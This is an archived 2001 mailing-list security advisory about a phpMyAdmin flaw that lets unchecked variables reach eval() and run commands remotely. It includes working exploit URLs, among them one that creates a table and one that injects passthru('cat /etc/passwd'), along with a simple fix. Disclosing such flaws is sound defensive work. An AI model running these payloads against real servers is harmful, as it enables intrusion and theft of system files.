New command execution vulnerability in myPhpAdmin

From: Carl Livitt (carlat_private)
Date: Tue Jul 31 2001 - 05:56:01 PDT

  • Next message: Johnson, Michael: "RE: cold fusion 5.0 cfrethrow exploit"

    --/ Product: phpMyAdmin versions <= 2.2.0rc3
    
    --/ Problem: Arbitrary remote command execution
    
    --/ Severity: High
    
    --/ Author: Carl Livitt (carl AT ititc DOT com)
    
    --/ Date: 31 July 2001
    
    
    ]----------------------------------------------[
    
    
    History
    -------
    
    Further to the excellent research done by Shaun Clowes of Secure Reality Pty Ltd
    (http://www.securereality.com.au) into remote command execution on webservers
    running myPhpAdmin,  it turns out that there is another method of exploitation.
    For details of what phpMyAdmin does, how it works and other security issues with
    the product, please refer to article SRADV00008 on the Secure Reality website.
    
    
    Overview
    --------
    
    The new method involves an unchecked variable in the 'tbl_copy.php' and
    'tbl_rename.php'scripts. By passing a carefully crafted URL to these scripts, it
    is possible to insert PHP instructions into an eval() function thereby
    enabling the attacker to execute arbitrary commands on the webserver with the
    privileges of the http daemon, typically 'nobody'.
    
    The method works perfectly on a default installation of phpMyAdmin, but has not
    been tested in an environment where the advanced authentication mechanism has
    been enabled. Feedback on this would be appreciated.
    
    In addition, this method assumes that the 'test' table in the mySQL database has
    not been removed; in order to successfully exploit the vulnerability presented
    here, it is necessary to have the ability to make changes to tables within a
    database. It should be noted that any database that phpMyAdmin has access rights
    to is sufficient: the 'test' database just happens to be very handy.
    
    
    Details
    -------
    
    In 'tbl_copy.php' and 'tbl_rename.php' are these lines of code:
    
      tbl_copy.php: eval("\$message = \"$strCopyTableOK\";");
    tbl_rename.php: eval("\$message =  \"$strRenameTableOK\";");
    
    These eval() functions are called if the rest of the code in the script executed
    successfully. If it were possible to modify the contents of $strCopyTableOK or
    $strRenameTableOK, it would be possible to execute arbitrary eval() code.
    
    Fortunately for an attacker, it is possible to control the contents of either of
    these variables. For example, by passing a URL of:
    
    http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru('cat%20/etc/passwd')."
    
    it is possible to set things up so that the script dumps /etc/passwd. But it
    doesn't. Why? Because earlier code stops execution before we get to the eval():
    (Note that the code has been edited for brevity)
    
    if (isset($new_name) && $new_name!=""){
    		.
    	$result = mysql_query($sql_structure) or mysql_die();
    		.
    	$result = mysql_query($query) or mysql_die();
    		.
    	$result = mysql_query($sql_structure) or mysql_die();
    }
    else mysql_die($strTableEmpty);
    
    If any of the mysql_query() calls fail, mysql_die() is called and execution stops.
    This is no good to us, as we need the calls to succeed in order for eval() to be
    executed with our commands in it.
    
    To make sure all the calls succeed, we need to make sure that we have a database
    that we can create tables in. This can be done by using 'tbl_create.php' script
    like so:
    
    http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy+integer+primary+key+auto_increment&submit=1
    
    In the default installation, we don't need to specify a username or password and
    will now have a table called 'haxor' in the 'test' database. We're now ready to
    exploit the 'tbl_copy.php' script:
    
    http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&strCopyTableOK=".passthru('cat%20/etc/passwd')."
    
    Success! The contents of /etc/passwd are included in the webpage that is returned
    by this URL. Of course, the choice of command to execute is limited only by the
    imagination of the attacker.
    
    
    Fix / workaround
    ----------------
    
    This is really simple to fix: just comment out the offending eval() statements in
    the 'tbl_copy.php' and 'tbl_rename.php' scripts. The calls to eval() are not
    used at any point in the script because the $strCopyTableOK and $strRenameTableOK
    variables are never normally defined. This means it is safe to remove them.
    
    -- 
    Free Dmitry!
    http://www.boycottadobe.com
    
    _________________________________________________________
    Do You Yahoo!?
    Get your free @yahoo.com address at http://mail.yahoo.com
    



    This archive was generated by hypermail 2b30 : Tue Jul 31 2001 - 08:59:23 PDT